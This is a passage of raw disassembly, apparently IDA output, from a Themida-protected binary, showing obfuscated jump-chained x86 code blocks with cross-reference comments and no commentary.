; ---------------------------------------------------------------------------
loc_547EDC: ; CODE XREF: Themida_:0054B4D0j
add eax, 4
jmp loc_54BA51
; ---------------------------------------------------------------------------
loc_547EE6: ; CODE XREF: Themida_:0054886Cj
sub esi, 0D8038A2h
push edx
jmp loc_54BA9C
; ---------------------------------------------------------------------------
dw 8B66h
dd 54502404h, 0FFD0C5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_547EFD: ; CODE XREF: Themida_:0054D1E0j
add edi, 5BE54D9Dh
jmp loc_54A741
; ---------------------------------------------------------------------------
loc_547F08: ; CODE XREF: Themida_:0054D15Dj
pop esi
or eax, eax
jnz loc_545B16
mov edx, 5F8447BCh
push 4C62h
mov [esp], edx
xchg ebx, [esp]
not ebx
xchg ebx, [esp]
jmp loc_5459B1
; ---------------------------------------------------------------------------
loc_547F2B: ; CODE XREF: Themida_:0054D8D6j
push dword ptr [esp+4]
jmp loc_54E276
; ---------------------------------------------------------------------------
loc_547F34: ; CODE XREF: Themida_:00549708j
pop esp
jmp loc_54FF47
; ---------------------------------------------------------------------------
loc_547F3A: ; CODE XREF: Themida_:0054F9F3j
mov eax, 94C021Fh
shr eax, 8
and eax, 0F700DE5h
inc eax
sub eax, 0B04E076Fh
mov edx, eax
pop eax
sub esp, 4
jmp loc_5452D3
; ---------------------------------------------------------------------------
loc_547F58: ; CODE XREF: Themida_:0054BF22j
ror word ptr [esp], cl
pushf
jmp loc_548EA5
; ---------------------------------------------------------------------------
loc_547F62: ; CODE XREF: Themida_:00546C57j
or ch, 72h
sub ch, 4Bh
jmp loc_54DDC9
; ---------------------------------------------------------------------------
loc_547F6D: ; CODE XREF: Themida_:0054E97Dj
sub eax, 7F3F41DCh
jmp loc_54E21A
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 726h
mov [esp], ebx
mov ebx, 526D0031h
and ebx, 421D0583h
shr ebx, 6
jmp loc_54CA5F
; ---------------------------------------------------------------------------
loc_547F95: ; CODE XREF: Themida_:0054B657j
shl edx, 7
not edx
inc edx
xor edx, 7A513184h
mov esi, edx
pop edx
sub ecx, 1CAC76E1h
jmp loc_54A5D2
; ---------------------------------------------------------------------------
loc_547FAF: ; CODE XREF: Themida_:0054FEDDj
mov [esp], ax
jmp loc_544022
; ---------------------------------------------------------------------------
loc_547FB8: ; CODE XREF: Themida_:00546F5Bj
mov edi, [esp]
jmp loc_54A98F
; ---------------------------------------------------------------------------
loc_547FC0: ; CODE XREF: Themida_:0054CE24j
mov ebx, 46999D1Bh
xor edi, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
xor eax, edi
mov edi, [esp]
add esp, 4
push edx
mov edx, 5B6E3F3Eh
add edx, 0D488DA0Ah
jmp loc_54AE7A
; ---------------------------------------------------------------------------
loc_547FEF: ; CODE XREF: Themida_:0054CD26j
pop ebp
sub esp, 4
mov [esp], ebp
push edx
mov edx, 401C2446h
and edx, 4F2707E8h
add edx, 0BFFBFBC4h
mov ebp, edx
pop edx
sub ecx, 69025D0Eh
add ecx, ebp
jmp loc_54B8A6
; ---------------------------------------------------------------------------
loc_548018: ; CODE XREF: Themida_:00546405j
mov ecx, 14586672h
jmp loc_544451
; ---------------------------------------------------------------------------
mov eax, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
push ebx
jmp loc_54DE32
; ---------------------------------------------------------------------------
loc_548036: ; CODE XREF: Themida_:0054AA65j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push ecx
jmp loc_54A72E
; ---------------------------------------------------------------------------
loc_54804C: ; CODE XREF: Themida_:00544914j
sub ebx, edi
sub ebx, 4A60221Ah
pop edi
sub ebx, esi
jmp loc_5483A8
; ---------------------------------------------------------------------------
loc_54805C: ; CODE XREF: Themida_:00544BB0j
shl ebx, 1
jmp loc_548C6D
; ---------------------------------------------------------------------------
loc_548063: ; CODE XREF: Themida_:0054EED2j
mov edx, esp
push esi
mov esi, 0A466705h
dec esi
shr esi, 6
jmp loc_547521
; ---------------------------------------------------------------------------
loc_548074: ; CODE XREF: Themida_:0054CDD5j
dec eax
jmp loc_54BFE8
; ---------------------------------------------------------------------------
loc_54807A: ; CODE XREF: Themida_:0054867Fj
or edi, 6AF36CC2h
shl edi, 8
dec edi
inc edi
xor edi, 0E581F150h
add esi, edi
pop edi
jmp loc_547039
; ---------------------------------------------------------------------------
loc_548093: ; CODE XREF: Themida_:0054E447j
pop ecx
jmp loc_5469A4
; ---------------------------------------------------------------------------
loc_548099: ; CODE XREF: Themida_:0054CAFAj
mov [esp], ecx
push esp
pop ecx
push esi
jmp loc_5453AE
; ---------------------------------------------------------------------------
loc_5480A4: ; CODE XREF: Themida_:0054EC38j
mov edx, [esp]
push eax
mov eax, esp
push esi
mov esi, 711C33AAh
not esi
jmp loc_54B4C1
; ---------------------------------------------------------------------------
loc_5480B7: ; CODE XREF: Themida_:005442C3j
; Themida_:0054C227j
push ecx
jmp loc_544E80
; ---------------------------------------------------------------------------
loc_5480BD: ; CODE XREF: Themida_:005440B7j
mov [esp], edi
push esi
mov esi, 77C5F1Bh
mov edi, 77C5F1Ah
xor edi, esi
pop esi
and ecx, edi
jmp loc_544EE5
; ---------------------------------------------------------------------------
loc_5480D5: ; CODE XREF: Themida_:00548555j
pop esp
xor ebx, [esp]
jmp loc_5443A2
; ---------------------------------------------------------------------------
loc_5480DE: ; CODE XREF: Themida_:0054ADE2j
sub ebx, eax
pop eax
sub ebx, eax
jmp loc_545C35
; ---------------------------------------------------------------------------
loc_5480E8: ; CODE XREF: Themida_:00545F02j
mov esi, 1783100Ah
jmp loc_54D07D
; ---------------------------------------------------------------------------
loc_5480F2: ; CODE XREF: Themida_:00548EA0j
sub ebx, 4
xor ebx, [esp]
jmp loc_54F9D1
; ---------------------------------------------------------------------------
loc_548100: ; CODE XREF: Themida_:0054FFC1j
add dword ptr [esp], 4
mov eax, [esp]
add esp, 4
push ecx
mov ecx, 38757C5h
inc ecx
and ecx, 4B6F4A71h
or ecx, 3EEF0BA1h
add ecx, 0C010B423h
add eax, ecx
pop ecx
jmp loc_54F85E
; ---------------------------------------------------------------------------
loc_54812E: ; CODE XREF: Themida_:0054B80Ej
xor ah, 0BAh
sub bl, 6Eh
sub bl, ah
add bl, 6Eh
mov eax, [esp]
jmp loc_547778
; ---------------------------------------------------------------------------
loc_548141: ; CODE XREF: Themida_:0054FB60j
push esp
push dword ptr [esp]
pop ecx
add esp, 4
push ebp
mov ebp, 59F85FA6h
and ebp, 3CDD2AC6h
shl ebp, 2
and ebp, 25A72460h
jmp loc_544AF8
; ---------------------------------------------------------------------------
loc_548163: ; CODE XREF: Themida_:0054F70Bj
push esi
mov esi, 1BA6512Ah
jmp loc_54D3ED
; ---------------------------------------------------------------------------
loc_54816E: ; CODE XREF: Themida_:005467CFj
push 6909h
mov [esp], edi
jmp loc_545310
; ---------------------------------------------------------------------------
loc_54817B: ; CODE XREF: Themida_:00545D3Cj
push eax
jmp loc_54B8CE
; ---------------------------------------------------------------------------
loc_548181: ; CODE XREF: Themida_:0054DBACj
mov edx, 65F45A54h
jmp loc_548825
; ---------------------------------------------------------------------------
loc_54818B: ; CODE XREF: Themida_:0054E010j
pop eax
not eax
or eax, 4A2A2E22h
or eax, 7F22CBh
xor eax, 3CBA0605h
push esi
push 4A1153D8h
pop esi
jmp loc_54E20F
; ---------------------------------------------------------------------------
loc_5481A9: ; CODE XREF: Themida_:0054E33Fj
or esi, 1D6D67E2h
xor esi, 6AB52C22h
sub esi, 574A5BC3h
sub edx, esi
jmp loc_5489D2
; ---------------------------------------------------------------------------
loc_5481C2: ; CODE XREF: Themida_:00548C1Bj
push dword ptr [esp]
pop ecx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_54B335
; ---------------------------------------------------------------------------
loc_5481DE: ; CODE XREF: Themida_:005448B9j
push 41C0h
mov [esp], ecx
push edi
jmp loc_547671
; ---------------------------------------------------------------------------
loc_5481EC: ; CODE XREF: Themida_:005456D3j
push esi
mov esi, 7E6B021Ah
mov ebp, esi
pop esi
neg ebp
jmp loc_5470D9
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 662h
jmp loc_54AF45
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
push 3500h
mov [esp], ebp
push esp
jmp loc_54D9BA
; ---------------------------------------------------------------------------
loc_548221: ; CODE XREF: Themida_:0054A645j
mov edx, ebp
pop ebp
jmp loc_5496B3
; ---------------------------------------------------------------------------
loc_548229: ; CODE XREF: Themida_:005474BEj
mov edi, 2D973DA2h
xor edi, 2D973DA6h
add eax, edi
jmp loc_54AB12
; ---------------------------------------------------------------------------
loc_54823B: ; CODE XREF: Themida_:00549E8Fj
push ebp
mov ebp, 4
add ecx, 318D2A86h
add ecx, 6D5226C3h
add ecx, ebp
sub ecx, 6D5226C3h
sub ecx, 318D2A86h
pop ebp
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
push ebx
mov ebx, 290F2AE2h
dec ebx
or ebx, 24DC16BFh
push edi
mov edi, 34F88CFh
add ebx, edi
jmp loc_54F915
; ---------------------------------------------------------------------------
loc_54827F: ; CODE XREF: Themida_:00544E81j
mov ecx, [esp]
add esp, 4
jmp loc_549F97
; ---------------------------------------------------------------------------
loc_54828A: ; CODE XREF: Themida_:00546E20j
pop edx
xor al, dl
mov edx, [esp]
push edx
jmp loc_54AA63
; ---------------------------------------------------------------------------
loc_548296: ; CODE XREF: Themida_:00544751j
sub esp, 4
mov [esp], ecx
mov ecx, 5D2D02AAh
jmp loc_54D7C2
; ---------------------------------------------------------------------------
loc_5482A9: ; CODE XREF: Themida_:00548356j
mov eax, 7E4D49D4h
sub eax, 4E5C2640h
neg eax
add eax, 2FF12398h
jmp loc_54AF13
; ---------------------------------------------------------------------------
loc_5482BF: ; CODE XREF: Themida_:00547379j
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp $+5
xchg edi, [esp]
jmp loc_54F6F3
; ---------------------------------------------------------------------------
loc_5482DE: ; CODE XREF: Themida_:0054996Bj
add al, ch
push dword ptr [esp]
pop ecx
jmp loc_546975
; ---------------------------------------------------------------------------
loc_5482E9: ; CODE XREF: Themida_:0054936Fj
mov eax, [esp]
add esp, 4
xchg ebp, [esp]
pop esp
add eax, 7C053457h
sub esp, 4
mov [esp], ecx
push 4000h
pop ecx
and eax, ecx
jmp loc_5486AF
; ---------------------------------------------------------------------------
loc_548311: ; CODE XREF: Themida_:0054F253j
add word ptr [esp+2], 2CA5h
push bp
mov bp, 3216h
add [esp+4], bp
pop bp
sub word ptr [esp+2], 0C53h
mov cx, [esp]
add esp, 2
jmp loc_54A504
; ---------------------------------------------------------------------------
loc_548338: ; CODE XREF: Themida_:005478CDj
mov ch, dl
mov bh, ch
pop ecx
jmp loc_54EEF6
; ---------------------------------------------------------------------------
loc_548342: ; CODE XREF: Themida_:0054449Dj
sub dl, 0A2h
jmp loc_549543
; ---------------------------------------------------------------------------
loc_54834A: ; CODE XREF: Themida_:00549F56j
pop esi
xchg ebp, [esp]
mov esp, [esp]
push eax
push esp
pop eax
push ebp
push eax
jmp loc_5482A9
; ---------------------------------------------------------------------------
loc_54835B: ; CODE XREF: Themida_:00546D63j
xchg ebp, [esp]
pop esp
xor ebx, 629A06D7h
push ecx
push 7A701EE5h
jmp loc_544033
; ---------------------------------------------------------------------------
loc_548370: ; CODE XREF: Themida_:0054C14Aj
pop esp
push dword ptr [esp]
mov ecx, [esp]
push ebx
mov ebx, esp
jmp loc_549FE6
; ---------------------------------------------------------------------------
loc_54837F: ; CODE XREF: Themida_:0054641Aj
push eax
mov eax, 3DC40B36h
or eax, 3AFC79EFh
inc eax
jmp loc_54AC70
; ---------------------------------------------------------------------------
loc_548390: ; CODE XREF: Themida_:00545F24j
push ebp
push esp
mov ebp, [esp]
add esp, 4
jmp loc_54EF13
; ---------------------------------------------------------------------------
loc_54839D: ; CODE XREF: Themida_:00544352j
add edx, 4
jmp loc_545A41
; ---------------------------------------------------------------------------
loc_5483A8: ; CODE XREF: Themida_:00548057j
push eax
mov eax, 4A443A4Ch
jmp loc_544DC8
; ---------------------------------------------------------------------------
loc_5483B3: ; CODE XREF: Themida_:00546561j
mov ebx, esi
push ebx
pop ebp
pop ebx
pop esi
jmp loc_544B2E
; ---------------------------------------------------------------------------
loc_5483BE: ; CODE XREF: Themida_:0054CD0Cj
push ecx
jmp loc_54E585
; ---------------------------------------------------------------------------
loc_5483C4: ; CODE XREF: Themida_:0054874Fj
sub [esp+4], ebp
jmp loc_546457
; ---------------------------------------------------------------------------
loc_5483CD: ; CODE XREF: Themida_:005489AFj
push ebx
mov ebx, 592F29A5h
mov edx, ebx
pop ebx
add eax, edx
jmp loc_54E353
; ---------------------------------------------------------------------------
loc_5483DD: ; CODE XREF: Themida_:0054E059j
mov [esp], edx
jmp loc_54D1CE
; ---------------------------------------------------------------------------
loc_5483E5: ; CODE XREF: Themida_:00548F24j
xor edi, [esp]
mov esp, [esp]
jmp loc_54592F
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
sub esp, 4
mov [esp], ebx
jmp loc_54A0F2
; ---------------------------------------------------------------------------
loc_548410: ; CODE XREF: Themida_:00545D2Aj
mov esp, [esp]
jmp loc_5448BE
; ---------------------------------------------------------------------------
loc_548418: ; CODE XREF: Themida_:00547A6Cj
push ecx
mov ch, 0A8h
jmp loc_548F37
; ---------------------------------------------------------------------------
loc_548420: ; CODE XREF: Themida_:0054489Aj
push edx
jmp loc_5486C9
; ---------------------------------------------------------------------------
loc_548426: ; CODE XREF: Themida_:0054591Cj
pop esp
push 66B8h
mov [esp], ebx
jmp loc_54FC58
; ---------------------------------------------------------------------------
loc_548434: ; CODE XREF: Themida_:0054FDC2j
not dl
shl dl, 5
not dl
jmp loc_547DEB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565CDA
loc_548440: ; CODE XREF: sub_565CDA-196ECj
push dx
jmp sub_54EAB8
; END OF FUNCTION CHUNK FOR sub_565CDA
; ---------------------------------------------------------------------------
loc_548447: ; CODE XREF: Themida_:00546BF6j
mov ecx, [esp]
add esp, 4
xchg eax, [esp]
pop esp
ror byte ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
push esp
jmp loc_547CB3
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push small 6C7Ah
mov [esp], cx
mov cl, 0ECh
sub cl, 0FFh
jmp loc_548D88
; ---------------------------------------------------------------------------
loc_54847A: ; CODE XREF: Themida_:0054A5BEj
sub esi, ebx
pop ebx
or edi, esi
pop esi
sub edi, 5BA42BE6h
sub edx, edi
jmp loc_54B4E2
; ---------------------------------------------------------------------------
loc_54848D: ; CODE XREF: Themida_:0054B931j
sub eax, ebx
pop ebx
pop ebx
add eax, 4
xchg eax, [esp]
jmp loc_547D14
; ---------------------------------------------------------------------------
loc_54849E: ; CODE XREF: Themida_:0054684Dj
pop ecx
jmp locret_544382
; ---------------------------------------------------------------------------
loc_5484A4: ; CODE XREF: Themida_:00549867j
or eax, eax
jz loc_545B16
sub esp, 4
mov [esp], ecx
mov ecx, 28h
jmp loc_54B67F
; ---------------------------------------------------------------------------
loc_5484BF: ; CODE XREF: Themida_:0054D078j
mov ecx, eax
pop eax
add edx, ecx
mov ecx, [esp]
add esp, 4
push dword ptr [edx]
jmp loc_544995
; ---------------------------------------------------------------------------
loc_5484D4: ; CODE XREF: Themida_:00545003j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5484D9: ; CODE XREF: Themida_:0054ED96j
push ebx
mov ebx, esp
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
jmp loc_5455ED
; ---------------------------------------------------------------------------
loc_5484EA: ; CODE XREF: Themida_:005493B5j
push dword ptr [edi+eax*4]
mov eax, [esp]
sub esp, 4
mov [esp], edi
jmp loc_547B1E
; ---------------------------------------------------------------------------
loc_5484FB: ; CODE XREF: Themida_:0054C4BFj
add dword ptr [esp], 4
push dword ptr [esp]
pop edi
jmp loc_54A9B7
; ---------------------------------------------------------------------------
loc_54850B: ; CODE XREF: Themida_:0054DD19j
sub edi, ecx
mov ecx, [esp]
push ebp
jmp loc_5496FA
; ---------------------------------------------------------------------------
loc_548516: ; CODE XREF: Themida_:0054AC25j
mov ebx, [esp]
add esp, 4
add edx, 199D717Dh
add edx, eax
push esi
mov esi, 199D717Dh
jmp loc_544A1C
; ---------------------------------------------------------------------------
loc_54852F: ; CODE XREF: Themida_:0054DCEAj
mov eax, 2
add ebx, eax
pop eax
xchg ebx, [esp]
jmp loc_5463A6
; ---------------------------------------------------------------------------
loc_54853F: ; CODE XREF: Themida_:0054DA30j
pop ebx
add al, 0C0h
sub al, dl
sub al, 0C0h
push dword ptr [esp]
pop edx
jmp loc_54488F
; ---------------------------------------------------------------------------
loc_54854F: ; CODE XREF: Themida_:00549C4Bj
add ebx, 4
xchg ebx, [esp]
jmp loc_5480D5
; ---------------------------------------------------------------------------
loc_54855A: ; CODE XREF: Themida_:005446C9j
pop eax
xchg edi, [esp]
mov esp, [esp]
push small word ptr [eax]
jmp loc_5445D0
; ---------------------------------------------------------------------------
loc_548569: ; CODE XREF: Themida_:00548666j
mov [esp], ebp
mov ebp, 24BD52CCh
jmp loc_54427F
; ---------------------------------------------------------------------------
loc_548576: ; CODE XREF: Themida_:0054DD8Cj
push eax
mov al, 36h
or al, 0BFh
dec al
jmp loc_549D0C
; ---------------------------------------------------------------------------
loc_548582: ; CODE XREF: Themida_:005456EDj
sub eax, 1A0B0ED7h
jmp loc_54F5AC
; ---------------------------------------------------------------------------
loc_54858C: ; CODE XREF: Themida_:0054CC2Dj
pop edi
sub ebx, edx
pop edx
and ebx, 72D5A2Ch
and ebx, 30AC19E5h
inc ebx
push ecx
mov ecx, 2B3C32C5h
add ebx, ecx
pop ecx
sub esp, 4
mov [esp], ecx
jmp loc_544A7A
; ---------------------------------------------------------------------------
loc_5485B1: ; CODE XREF: Themida_:0054BCA7j
xor edi, 732B5F2Ch
shl edi, 5
xor edi, 4FBD26A0h
or edi, 6732D4Bh
push edx
jmp loc_54DEE0
; ---------------------------------------------------------------------------
loc_5485CC: ; CODE XREF: Themida_:00548AAAj
push ebp
mov ebp, 5D772206h
add edi, ebp
jmp loc_54D9CE
; ---------------------------------------------------------------------------
loc_5485D9: ; CODE XREF: Themida_:00546B4Ej
not ecx
sub ecx, 2D37312h
sub ecx, 0A0D33EB8h
add ebx, ecx
pop ecx
xchg ebx, [esp]
pop esp
add esp, 4
jmp loc_5495AF
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5485FE: ; CODE XREF: Themida_:0054E818j
mov eax, esp
add eax, 4
push esi
mov esi, 2
sub eax, 13B852D4h
add eax, esi
add eax, 13B852D4h
jmp loc_54FEAA
; ---------------------------------------------------------------------------
loc_54861C: ; CODE XREF: Themida_:0054BF30j
push 4913h
jmp loc_54788E
; ---------------------------------------------------------------------------
loc_548626: ; CODE XREF: Themida_:00547344j
push 0EADh
jmp loc_54473C
; ---------------------------------------------------------------------------
loc_548630: ; CODE XREF: Themida_:005459ACj
add esp, 4
push dword ptr [esp]
mov eax, [esp]
push edi
mov edi, esp
jmp loc_548B0D
; ---------------------------------------------------------------------------
loc_548644: ; CODE XREF: Themida_:0054E4B6j
pop esp
xor ebx, eax
push edx
mov edx, 2Ch
add edx, edi
jmp loc_54DF99
; ---------------------------------------------------------------------------
loc_548654: ; CODE XREF: Themida_:00547BD1j
push ebx
push esi
jmp loc_54F5D4
; ---------------------------------------------------------------------------
loc_54865B: ; CODE XREF: Themida_:0054B3DCj
mov ecx, 22B37D1h
add ecx, edi
pop edi
sub esp, 4
jmp loc_548569
; ---------------------------------------------------------------------------
loc_54866B: ; CODE XREF: Themida_:0054630Dj
mov ebx, esp
jmp loc_5458B0
; ---------------------------------------------------------------------------
loc_548672: ; CODE XREF: Themida_:00548A9Dj
sub esi, 7DA81641h
pop ebp
push edi
mov edi, 22023EACh
jmp loc_54807A
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_548692: ; CODE XREF: Themida_:005455E8j
mov esp, [esp]
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5486A5: ; CODE XREF: Themida_:0054B7F8j
mov ebx, 4
jmp loc_54F58B
; ---------------------------------------------------------------------------
loc_5486AF: ; CODE XREF: Themida_:0054830Cj
mov ecx, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
push edx
push esi
push ecx
mov ecx, 3309079Ch
mov esi, ecx
jmp loc_549744
; ---------------------------------------------------------------------------
loc_5486C9: ; CODE XREF: Themida_:00548421j
mov dh, 37h
mov ch, 0A6h
sub ch, dh
pop edx
push ebx
jmp loc_545D7E
; ---------------------------------------------------------------------------
loc_5486D6: ; CODE XREF: Themida_:00546C2Fj
not ebx
or ebx, 3CBB3396h
push ebp
mov ebp, 0C78F43ADh
sub ebx, ebp
pop ebp
mov esi, ebx
pop ebx
shr esi, 1
or esi, 62500CC1h
or esi, 68EF49A6h
neg esi
xor esi, 38005BC1h
add esi, 5CF933BCh
add eax, esi
pop esi
xor dword ptr [eax], 1028001Fh
mov eax, [esp]
add esp, 4
loc_548715: ; CODE XREF: Themida_:00548EF0j
push ecx
mov ecx, 33B629Dh
shr ecx, 5
jmp loc_54E1EB
; ---------------------------------------------------------------------------
loc_548723: ; CODE XREF: Themida_:0054D7B7j
push ebp
mov ebp, esp
push eax
jmp loc_54E00B
; ---------------------------------------------------------------------------
loc_54872C: ; CODE XREF: Themida_:005447ABj
pop edx
xor bl, al
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54873B: ; CODE XREF: Themida_:00547B51j
push ebx
mov ebx, 679178D4h
mov ebp, ebx
pop ebx
xor ebp, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5483C4
; ---------------------------------------------------------------------------
loc_548754: ; CODE XREF: Themida_:00544906j
mov ecx, [esp]
jmp loc_54A398
; ---------------------------------------------------------------------------
loc_54875C: ; CODE XREF: Themida_:00544A25j
pop eax
add edx, 2
xor edx, [esp]
jmp loc_5456F9
; ---------------------------------------------------------------------------
loc_548768: ; CODE XREF: Themida_:0054D3A1j
mov ecx, 16D70F7Bh
shr ecx, 2
jmp loc_544D61
; ---------------------------------------------------------------------------
loc_548775: ; CODE XREF: Themida_:00547C5Dj
add al, 65h
add al, 43h
sub al, dl
jmp loc_54F755
; ---------------------------------------------------------------------------
loc_548780: ; CODE XREF: Themida_:0054C47Dj
sub ecx, 523659Ch
add edx, ecx
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push eax
mov eax, esp
add eax, 4
jmp loc_54B9EB
; ---------------------------------------------------------------------------
loc_54879C: ; CODE XREF: Themida_:005463ACj
mov [esp], edx
push ecx
mov cl, 0CAh
mov dl, 92h
neg dl
add dl, 1
not dl
inc dl
or dl, 78h
add dl, 0Eh
xor dl, cl
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_54F710
; ---------------------------------------------------------------------------
loc_5487CA: ; CODE XREF: Themida_:0054A055j
add edi, edx
pop edx
sub edi, esi
sub edi, 51EF4194h
pop esi
add eax, edi
jmp loc_54F4D2
; ---------------------------------------------------------------------------
loc_5487DD: ; CODE XREF: Themida_:00544E69j
push edi
mov edi, 7DD61074h
not edi
add edi, 2F105B34h
shl edi, 6
inc edi
xor edi, 1798FB2Bh
sub eax, edi
mov edi, [esp]
add esp, 4
add eax, ebp
push 13BFh
mov [esp], ecx
mov ecx, 9206E54h
jmp loc_544B77
; ---------------------------------------------------------------------------
loc_548811: ; CODE XREF: Themida_:0054CDBAj
inc eax
neg eax
add eax, 15CC435Fh
xor eax, 6617A872h
add edi, eax
jmp loc_54F2E0
; ---------------------------------------------------------------------------
loc_548825: ; CODE XREF: Themida_:00548186j
push ecx
mov ecx, 31811A34h
jmp loc_547AF8
; ---------------------------------------------------------------------------
loc_548830: ; CODE XREF: Themida_:0054DC40j
xor esi, 15267DBEh
add eax, esi
mov esi, [esp]
add esp, 4
add eax, 7900617Ch
push esi
mov esi, 5C794BE2h
add esi, 6EFC1D8Eh
push ebx
push edi
mov edi, 17E83DBDh
push edi
mov ebx, [esp]
add esp, 4
pop edi
or esi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_547EE6
; ---------------------------------------------------------------------------
loc_548871: ; CODE XREF: Themida_:005469F3j
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_548EE7
; ---------------------------------------------------------------------------
loc_54887C: ; CODE XREF: Themida_:0054AD02j
pop eax
add esp, 4
pop dword ptr [esp]
push dword ptr [esp]
jmp loc_545AE2
; ---------------------------------------------------------------------------
loc_54888B: ; CODE XREF: Themida_:00545B23j
pop esp
mov [esp], ebx
push ebx
mov ebx, 3C337758h
jmp loc_54CD75
; ---------------------------------------------------------------------------
loc_54889A: ; CODE XREF: Themida_:00546E00j
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_54A277
; ---------------------------------------------------------------------------
loc_5488AC: ; CODE XREF: Themida_:0054CEA3j
xor [esp+1], dl
jmp loc_54F894
; ---------------------------------------------------------------------------
loc_5488B5: ; CODE XREF: Themida_:0054FFB0j
or ecx, 3DA660E3h
jmp loc_54EE98
; ---------------------------------------------------------------------------
loc_5488C0: ; CODE XREF: Themida_:0054716Aj
add esp, 4
sub bl, 0B0h
add bl, al
push ecx
mov cl, 0DAh
jmp loc_54AC98
; ---------------------------------------------------------------------------
loc_5488D3: ; CODE XREF: Themida_:005449F5j
add esp, 4
jmp loc_54FB65
; ---------------------------------------------------------------------------
loc_5488DE: ; CODE XREF: Themida_:005458CFj
xor eax, [esp]
jmp loc_5493EA
; ---------------------------------------------------------------------------
loc_5488E6: ; CODE XREF: Themida_:00547BFFj
neg ebp
add ebp, 4CD13C00h
add edx, ebp
pop ebp
add edx, 4
push edx
push dword ptr [esp+4]
jmp loc_54DC45
; ---------------------------------------------------------------------------
loc_548901: ; CODE XREF: Themida_:00546E91j
neg ch
jmp loc_545AC9
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebx
push esp
mov ebx, [esp]
push edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_54E4D1
; ---------------------------------------------------------------------------
loc_54892D: ; CODE XREF: Themida_:00549ED0j
sub edx, 49F2C494h
sub eax, edx
pop edx
sub eax, esi
add eax, 79A170CAh
mov esi, [esp]
jmp loc_54D178
; ---------------------------------------------------------------------------
loc_548945: ; CODE XREF: Themida_:0054E972j
add [esp+4], edi
sub dword ptr [esp+4], 14BA506Ah
sub dword ptr [esp+4], 436E2128h
add dword ptr [esp+4], 66DD24EEh
push edx
mov edx, 5BBF30F5h
add [esp+8], edx
jmp loc_54660B
; ---------------------------------------------------------------------------
loc_548970: ; CODE XREF: Themida_:00547092j
mov ebx, esp
jmp loc_54A02D
; ---------------------------------------------------------------------------
loc_548977: ; CODE XREF: Themida_:005490C0j
push eax
push 53387B2Ch
pop eax
add eax, 0ACC784D8h
jmp loc_54557D
; ---------------------------------------------------------------------------
loc_548988: ; CODE XREF: Themida_:00544D04j
add ebp, esi
sub ebp, 6C421703h
jmp loc_548A07
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_54B7C4
; ---------------------------------------------------------------------------
mov eax, 2CA21FCh
push edi
mov edi, 0FFFFFFFFh
sub esp, 4
mov [esp], edx
jmp loc_5483CD
; ---------------------------------------------------------------------------
loc_5489B4: ; CODE XREF: Themida_:005460FEj
push edi
mov edi, 4B2A12A4h
mov ebp, 719184DEh
jmp loc_5442DF
; ---------------------------------------------------------------------------
loc_5489C4: ; CODE XREF: Themida_:0054BF1Aj
sub edi, 7DCF193Eh
pop esi
sub edi, edx
jmp loc_54DA8B
; ---------------------------------------------------------------------------
loc_5489D2: ; CODE XREF: Themida_:005481BDj
pop esi
jmp loc_5471CC
; ---------------------------------------------------------------------------
loc_5489D8: ; CODE XREF: Themida_:00547463j
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_54E7B5
; ---------------------------------------------------------------------------
loc_5489E8: ; CODE XREF: Themida_:0054E4DBj
mov edi, 217D7E1Bh
inc edi
and edi, 3A84773Ah
xor edi, 2004761Ah
add ebx, edi
mov edi, [esp]
add esp, 4
jmp loc_54A103
; ---------------------------------------------------------------------------
loc_548A07: ; CODE XREF: Themida_:00548990j
pop esi
sub esp, 4
mov [esp], eax
mov eax, 4
add ebp, 6903234Fh
add ebp, eax
sub ebp, 6903234Fh
pop eax
jmp loc_54BA93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_548A2A: ; CODE XREF: sub_545BCC-16EFj
add esp, 4
pop ecx
push ecx
mov ch, 92h
neg ch
not ch
jmp loc_54AE96
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
loc_548A3A: ; CODE XREF: Themida_:0054C1D8j
mov edi, esp
push edx
mov edx, 0A51DF9h
jmp loc_54983D
; ---------------------------------------------------------------------------
loc_548A47: ; CODE XREF: Themida_:005447DCj
mov eax, 708A5465h
push ebp
jmp loc_54EB52
; ---------------------------------------------------------------------------
loc_548A52: ; CODE XREF: Themida_:0054AA8Fj
push 440B1CDCh
pop edx
add edx, 0BBF4E328h
mov ebx, edx
mov edx, [esp]
